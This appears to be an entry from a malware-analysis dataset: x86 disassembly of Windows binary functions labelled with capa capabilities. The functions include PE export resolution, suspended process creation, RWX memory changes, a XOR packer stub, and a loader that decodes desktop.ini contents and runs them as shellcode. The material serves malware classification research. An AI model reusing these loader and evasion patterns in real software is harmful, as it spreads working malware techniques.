joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10051d90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10051db2
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10051db2
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10051db2
ret
cmp word [ebx + 4], 0x14c
jne 0x10051db2
test word [ebx + 0x16], 2
je 0x10051db2
test word [ebx + 0x16], 0x100
je 0x10051db2
cmp word [ebx + 0x18], 0x10b
jne 0x10051db2
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10051db2
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10051e3e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10051dd2
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10038d1d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10051db2
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10051e3e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10051db2
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10051db2
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10051db2
ret
cmp word [ebx + 4], 0x14c
jne 0x10051db2
test word [ebx + 0x16], 2
je 0x10051db2
test word [ebx + 0x16], 0x100
je 0x10051db2
cmp word [ebx + 0x18], 0x10b
jne 0x10051db2
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10051db2
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10051e3e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10051dd2
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10038d1d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10051db2
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10051ef5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10051f4e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10051ef5
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10051f04
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10457ba7
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10051f55
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10038dcb
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10051ff4
add edi, 4
add eax, 2
dec ecx
jne 0x10051f3a
call 0x10051fa1
loope 0x10051f97
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10051ff1
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10052002
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10051fb5
cmp eax, ecx
ja 0x10051fb5
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1005203f
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10052035
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100392aa
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10051f04
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10051f4e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10051ef5
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10051f04
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10457ba7
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10051f55
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10038dcb
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10051ff4
add edi, 4
add eax, 2
dec ecx
jne 0x10051f3a
call 0x10051fa1
loope 0x10051f97
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10051ff1
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10052002
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10051fb5
cmp eax, ecx
ja 0x10051fb5
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1005203f
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10052035
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100392aa
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x4099a4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a77
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a90
push ebx
push 0x409a9c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a24
mov al, 0x69
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00409978
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a2d
call fcn.00409978
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a7e
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b30
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
jmp 0x409bd9
cmp dword [esi + 0x10], 0x1000
jne 0x409bc5
test byte [esi + 0x15], 1
jne 0x409bc5
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b84
cmp eax, 2
je 0x409b84
cmp eax, 0x10
je 0x409b84
cmp eax, 0x20
jne 0x409b99
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b99
mov bl, 1
xor ebp, ebp
jmp 0x409baa
mov eax, dword [esi]
add eax, ebp
call fcn.00409b28
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b9d
test bl, bl
je 0x409bc5
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b5c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00431219
Function at 0x401e40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push esi
fidiv dword [ebp - 0x19]
insd dword es:[edi], dx
lea eax, [ebp - 0x78]
outsb dx, byte [esi]
sub eax, 0x89615650
push 0x4d8b0000
or byte [ebx + 0x40c0c8d4], al
add byte [edx + 0x51], ch
add edx, 0x40
push 0x40d4c2
push edx
xor dword [sym.imp.MSVCRT.dll_fprintf], edx
mov eax, dword [0x410283]
add esp, 0x14
fld dword [ecx - 0x74aff08c]
push esp
rol byte [eax + 0x75], cl
call [esp - 0x7cc1bf3f]
les ecx, [eax]
push esi
call dword [sym.imp.MSVCRT.dll_exit]
pop esi
nop
nop
nop
nop
into
nop
nop
nop
nop
adc byte [eax - 0x13feaa70], 0x83
cmp byte [edx + 0x53], 0x56
xor dword [ebp + 8], esi
push edi
mov eax, dword [esi + 0x14]
mov dword [ebp + 8], eax
call 0x8f406a00
mov dword [0x11410be5], eax
mov dword [0x410ba4], edx
mov ebx, esp
mov eax, dword [esi + 8]
xchg ebp, eax
ror byte [ebx - 0x74d5863c], 0x42
add al, 0x6a
loope 0x401f3d
cwde
push edx
call 0x98408c70
invalid
mov ebx, dword [0x40d030]
mov eax, dword [esi + 4]
lea ecx, [ebp + 8]
add edx, ebx
push ecx
fst dword [eax - 0x18]
cmp al, 0x6b
xor eax, 0x74c08500
xor ebp, ebp
clc
jno 0x401fcf
cmp eax, 0xad0afd68
je 0x401f56
cmp eax, 0xaffd9
je 0x401f8a
lea esi, [ebp + edi*8 + 0xa]
add byte [ecx + ebx + 0x3d], dh
and al, 0xfd
or cl, byte [ecx + 0x74]
clc
cmp eax, 0xafca1
je 0x401f8a
cmp eax, 0xb23b3
invalid
jle 0x401fd1
cmp al, 0x58
sbb eax, 0x4102a0
mov edi, dword [0x4102a4]
add edx, ebx
sbb dword [ecx - 0x5fe276bc], 0xffffff88
inc ecx
dec esi
mov dword [ebx - 0x5c], edx
add al, byte [ecx]
mov edi, ebp
sbb byte [ebx - 0x2ffc09b8], cl
sub ecx, eax
mov dword [esi + 0x12], edx
mov dword [esi + 0x14], ecx
jne 0x401eac
mov dword [esi + 0x4d], 0xa8000003
call fcn.00406a00
mov dword [0x7c0ba0], eax
jl 0x401fd1
mov dword [0x410b6e], edx
mov edi, esp
add al, 0x89
xchg byte [eax + 8], al
or al, byte [eax]
mov ecx, dword [0x463aa4]
mov eax, 0x4d
mov dword [ebp - 0x10], eax
mov word [ebp + 0x30], ax
mov dword [esi + 0xb744], ecx
mov ecx, dword [0x4117f8]
lea eax, [ebp - 0x14]
mov dword [ebx - 0x4fae8408], ecx
jne 0x402005
push ecx
mov al, 0x75
cld
call 0x9f7494c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401530
Capabilities:
Create process on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x24
call fcn.00401630
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.LabApps
mov dword [esp + 8], str.nw.exe
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x401950
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00402680
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00402680
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4019b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40539c]
test esi, esi
jle 0x401ab0
mov eax, dword [0x4053a0]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x4019e0
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401a5f
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4019d0
mov dword [esp], ebx
call fcn.00402320
mov edi, eax
test eax, eax
je 0x401ad7
mov eax, dword [0x4053a0]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402430
mov edx, dword [0x4053a0]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401ab7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401a58
sub eax, 4
and eax, 0xfffffffb
jne 0x401a66
add dword [0x40539c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
add ebx, dword [0x4053a0]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401a58
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401950
xor esi, esi
jmp 0x4019ea
mov eax, dword [0x4053a0]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401950
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401950
lea esi, [esi]
nop
Function at 0x401f90
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4053b0]
sub esp, 4
test ebx, ebx
je 0x401fe5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401fde
test esi, esi
je 0x401fde
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401fc0
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x40c7b0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x477010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov bl, byte [ebp + 0xc]
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], esi
push edi
lea ecx, [esi + 0xc]
mov dword [esi], vtable.CFile.0
mov dword [esi + 8], 0
call fcn.0040a2b0
mov al, byte [ebp + 0x10]
mov byte [esi + 0x31], al
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [esi + 0x30], bl
cmp eax, 0xffffffff
jne 0x40c831
cmp dword [edi + 0x14], 8
jb 0x40c80b
mov edi, dword [edi]
push 0
push 0x80
movzx eax, bl
add eax, 2
push eax
movzx eax, bl
xor eax, 1
push 0
add eax, 2
push 1
shl eax, 0x1e
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
je 0x40c85b
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push eax
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 8]
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], ecx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420a25
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40c8a0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45ad20
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
push ebx
push esi
push edi
mov eax, dword [0x477010]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 8]
mov dword [esi], vtable.CFile.0
test eax, eax
je 0x40c908
cmp byte [esi + 0x30], 0
jne 0x40c901
cmp eax, 0xffffffff
jne 0x40c8e6
or eax, eax
jmp 0x40c8f7
push 0
push 0
push dword [esi + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esi + 0x31], 0
je 0x40ca4a
cmp dword [esi + 0x20], 8
lea edi, [esi + 0xc]
mov ebx, edi
jb 0x40c91f
mov ebx, dword [edi]
push 8
xor eax, eax
mov dword [ebp - 0x14], 0
push str._INFO_:
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x10], 7
mov word [ebp - 0x24], ax
call fcn.0040bcc0
push ebx
lea eax, [ebp - 0x54]
push str.Cleanup_for_file__s
push eax
call fcn.0041ec00
add esp, 0xc
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x3c]
push eax
call fcn.0040a950
add esp, 4
push eax
call fcn.00401b50
mov edx, dword [ebp - 0x28]
cmp edx, 8
jb 0x40c9a3
mov ecx, dword [ebp - 0x3c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40c999
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40caa6
push edx
push ecx
call fcn.00420a59
add esp, 8
mov edx, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp edx, 8
jb 0x40c9f1
mov ecx, dword [ebp - 0x24]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40c9e7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40caab
push edx
push ecx
call fcn.00420a59
add esp, 8
mov edx, dword [ebp - 0x40]
xor eax, eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 7
mov word [ebp - 0x24], ax
cmp edx, 8
jb 0x40ca3b
mov ecx, dword [ebp - 0x54]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ca31
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cab0
push edx
push ecx
call fcn.00420a59
add esp, 8
cmp dword [edi + 0x14], 8
jb 0x40ca43
mov edi, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [esi + 0x20]
cmp ecx, 8
jb 0x40ca80
mov eax, dword [esi + 0xc]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x40ca76
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40caa6
mov eax, edx
push ecx
push eax
call fcn.00420a59
add esp, 8
xor eax, eax
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 7
mov word [esi + 0xc], ax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0042848b
call fcn.0042848b
call fcn.0042848b
int3
Function at 0x40cd10
Capabilities:
Check if file exists

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45adb9
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x30
push esi
push edi
mov eax, dword [0x477010]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov dword [ebp - 0x14], edi
mov esi, ecx
mov dword [ebp - 0x24], esi
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebx + 8]
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], ecx
mov ecx, esi
push eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0
call fcn.0040cac0
add esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 1
nop dword [eax]
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x40cd9a
mov eax, dword [esi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40ce2a
push dword [ebp - 0x1c]
mov edx, edi
lea ecx, [ebp - 0x40]
push dword [ebp - 0x20]
call fcn.0040cac0
mov edi, eax
add esp, 8
cmp esi, edi
je 0x40cdec
mov ecx, esi
call fcn.0040bed0
movups xmm0, xmmword [edi]
xor eax, eax
movups xmmword [esi], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 7
mov word [edi], ax
mov edx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x14]
cmp edx, 8
jb 0x40cd90
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ce1b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ce40
push edx
push ecx
call fcn.00420a59
add esp, 8
jmp 0x40cd90
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042848b
int3
Function at 0x40d0c0
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, edx
push edi
mov edi, ecx
mov dword [ebp - 4], eax
mov eax, edi
cmp dword [edi + 0x14], 8
jb 0x40d0e0
mov eax, dword [edi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40d10e
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x40d0f5
mov eax, dword [edi]
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
test eax, eax
je 0x40d10e
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 4]
mov edx, edi
lea ecx, [ebp - 0x1c]
push ebx
call fcn.0040cd10
mov edi, eax
add esp, 8
cmp esi, edi
je 0x40d14f
mov ecx, esi
call fcn.0040bed0
movups xmm0, xmmword [edi]
xor eax, eax
movups xmmword [esi], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 7
mov word [edi], ax
mov edx, dword [ebp - 8]
cmp edx, 8
jb 0x40d185
mov ecx, dword [ebp - 0x1c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40d17b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d1ad
push edx
push ecx
call fcn.00420a59
add esp, 8
cmp dword [esi + 0x14], 8
jb 0x40d18d
mov esi, dword [esi]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0042848b
int3